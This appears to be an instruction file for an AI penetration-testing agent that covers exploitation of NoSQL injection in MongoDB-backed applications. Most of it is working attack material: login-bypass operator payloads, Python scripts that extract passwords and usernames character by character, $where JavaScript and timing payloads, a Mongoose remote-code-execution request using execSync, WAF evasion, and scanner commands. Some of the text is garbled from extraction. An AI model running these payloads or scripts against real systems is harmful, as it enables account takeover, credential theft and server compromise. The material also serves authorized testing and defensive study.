Guide NoSQL injection exploitation during authorized penetration testing.
You are helping a penetration tester exploit NoSQL injection vulnerabilities. The target application passes user-controlled input to NoSQL database queries (typically MongoDB) without proper sanitization. The goal is to bypass authentication, extract data, or achieve code execution. All testing is under explicit written authorization.
Check for ./engagement/ directory. If absent, proceed without logging.
When an engagement directory exists:
[nosql-injection] Activated → <target> to the screen on activation.engagement/evidence/ with
descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).Call get_state_summary() from the state MCP server to read current
engagement state. Use it to:
Your return summary must include:
MongoError,
$operator), JSON-based APIs, Node.js/Express backends, Mongoose ORMIf not already provided, determine:
ObjectId, $operator in errors, Node.js stack_rev, _id, Futon/Fauxton admin panelsparam[$ne]=value{"param": {"$ne": "value"}}URL-encoded (test each parameter):
param[$ne]=test
param[$gt]=
param[$exists]=true
JSON body:
{"param": {"$ne": "test"}}
{"param": {"$gt": ""}}
{"param": {"$exists": true}}
If the response changes (login succeeds, different content, different status code), the parameter accepts MongoDB operators.
The most common NoSQL injection — bypass login forms by injecting operators that make the query match any document.
# Match any username and password ($ne = not equal to garbage)
username[$ne]=toto&password[$ne]=toto
# Match all with regex
username[$regex]=.*&password[$regex]=.*
# Match any existing field
username[$exists]=true&password[$exists]=true
# Greater than empty string (matches everything)
username[$gt]=&password[$gt]=
# Target specific user with wildcard password
username=admin&password[$ne]=wrong
# Target admin with regex
username[$regex]=^admin&password[$ne]=wrong
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": ""}, "password": {"$ne": ""}}
{"username": {"$gt": ""}, "password": {"$gt": ""}}
{"username": "admin", "password": {"$ne": "wrong"}}
{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}
{"username": "admin", "$or": [{"password": {"$ne": ""}}, {"password": {"$regex": ".*"}}]}
{"username": {"$in": ["admin", "root", "administrator", "Admin"]}, "password": {"$gt": ""}}
# Skip admin, find the next user
username[$nin][]=admin&password[$gt]=
When operator injection works but data isn't directly reflected, extract
values character by character using $regex.
# Test password length (adjust the number)
username=admin&password[$regex]=.{1} # true if len >= 1
username=admin&password[$regex]=.{5} # true if len >= 5
username=admin&password[$regex]=.{10} # true if len >= 10
username=admin&password[$regex]=.{8} # narrow down with binary search
# Test first character
username=admin&password[$regex]=^a.*
username=admin&password[$regex]=^b.*
...
username=admin&password[$regex]=^m.* # true — first char is 'm'
# Test second character
username=admin&password[$regex]=^ma.*
username=admin&password[$regex]=^mb.*
...
username=admin&password[$regex]=^md.* # true — second char is 'd'
# Continue until full value extracted
username=admin&password[$regex]=^mdp$ # exact match confirms
import requests
import string
url = "http://TARGET/login"
headers = {"Content-Type": "application/json"}
username = "admin"
password = ""
charset = string.ascii_letters + string.digits + string.punctuation
while True:
found = False
for c in charset:
if c in ['*', '+', '.', '?', '|', '\\', '^', '$', '{', '}', '(', ')']:
c = '\\' + c # escape regex metacharacters
payload = '{"username": "%s", "password": {"$regex": "^%s"}}' % (
username, password + c)
r = requests.post(url, data=payload, headers=headers,
allow_redirects=False)
if r.status_code == 302 or 'dashboard' in r.text:
password += c
print(f"[+] Found: {password}")
found = True
break
if not found:
print(f"[*] Extracted password: {password}")
break
import requests
import string
url = "http://TARGET/login"
headers = {"Content-Type": "application/x-www-form-urlencoded"}
username = "admin"
password = ""
charset = string.ascii_letters + string.digits + "_@{}-/()!$%=^[]:"
while True:
found = False
for c in charset:
payload = f"user={username}&pass[$regex]=^{password + c}&login=submit"
r = requests.post(url, data=payload, headers=headers,
allow_redirects=False)
if r.status_code == 302:
password += c
print(f"[+] Found: {password}")
found = True
break
if not found:
print(f"[*] Extracted password: {password}")
break
Discover unknown usernames by brute-forcing the username field:
import requests
import string
url = "http://TARGET/login"
charset = string.ascii_lowercase + string.digits + "_"
def extract_usernames(prefix=""):
usernames = []
for c in charset:
payload = {"username": {"$regex": f"^{prefix + c}"},
"password": {"$regex": ".*"}}
r = requests.post(url, json=payload, allow_redirects=False)
if r.status_code == 302:
for u in extract_usernames(prefix + c):
usernames.append(u)
if not usernames and prefix:
usernames.append(prefix)
return usernames
for user in extract_usernames():
print(f"[+] Found username: {user}")
MongoDB's $where operator accepts JavaScript. If injection reaches a
$where clause, it's equivalent to code execution within the database context.
# SQL-style equivalents for $where context
' || 1==1//
' || 1==1%00
admin' || 'a'=='a
If the application reflects database errors:
{"$where": "this.username=='admin' && this.password=='x'; throw new Error(JSON.stringify(this));"}
Leaks the entire document (including password) in the error message.
# Check if password field exists
/?search=admin' && this.password%00
# Extract password character by character
/?search=admin' && this.password.match(/^a.*$/)%00
/?search=admin' && this.password.match(/^b.*$/)%00
...
/?search=admin' && this.password.match(/^mdp$/)%00
When no response difference is visible:
';sleep(5000);'
';sleep(5000);+'
{"$where": "sleep(5000) || true"}
Loop-based delay (works when sleep() is disabled):
';it=new Date();do{pt=new Date();}while(pt-it<5000);'
If a 5-second delay is observed, $where execution is confirmed.
Mongoose populate().match() forwards $where to Node.js instead of
MongoDB, enabling OS command execution even when MongoDB's server-side JS
is disabled:
# RCE via populate match
GET /posts?author[$where]=global.process.mainModule.require('child_process').execSync('id')
# Bypass for Mongoose 8.8.3-8.9.4 (nest under $or)
GET /posts?author[$or][0][$where]=global.process.mainModule.require('child_process').execSync('id')
Affects Mongoose <= 8.9.4. Fixed in 8.9.5 with sanitizeFilter: true.
If the injection reaches an aggregate() pipeline (not find()/findOne()),
use $lookup to query other collections:
[
{
"$lookup": {
"from": "users",
"as": "leaked",
"pipeline": [
{
"$match": {
"password": {"$regex": "^.*"}
}
}
]
}
}
]
Returns documents from the users collection regardless of which collection
the query originally targeted.
PHP applications using Cockpit CMS (MongoLite library) support $func:
{"user": {"$func": "var_dump"}}
Executes arbitrary PHP functions with the field value as argument.
GraphQL resolvers that forward filter arguments to collection.find():
query {
users(filter: { username: { "$ne": "" } }) {
username
email
}
}
As a GraphQL variable:
{"f": {"$ne": {}}}
If the resolver does collection.find(args.filter) without sanitization,
all documents are returned.
MongoDB uses the last value for duplicate keys:
{"username": "legitimate", "username": {"$ne": ""}, "password": {"$gt": ""}}
WAF validates the first username (legitimate string), MongoDB uses the
second (operator injection).
STOP and return to the orchestrator with:
$ne, $regex) generates standard queries — low
detection risk in application logs$where payloads execute JavaScript server-side — may be logged by MongoDB
profiler and trigger anomaly detectionsleep() in $where blocks the MongoDB thread — can cause performance
issues on production systemsapplication/json, URL-encoded needs
application/x-www-form-urlencodedexpress-mongo-sanitize or strip $ prefixes — try
without $: param[ne]=value (some frameworks add it back){"param": {"$ne": ""}} vs flat param[$ne]=$exists which
only needs a boolean\(, \), \., \*, \+, \?$regex is blocked, try $where with this.field.match()--noscripting)$ne, $regex, $gt) which don't need JSpopulate().match() path (CVE-2024-53900) which
executes $where in Node.js, not MongoDB# NoSQLMap — automated enumeration and exploitation
python nosqlmap.py -u "http://TARGET/login" --httpmethod POST \
--requestdata "username=test&password=test" --injparam username
# nosqli — Go-based scanner
nosqli scan -t "http://TARGET/login" -p username,password
# Burp: Extensions → NoSQLi Scanner → right-click request → "Scan for NoSQLi"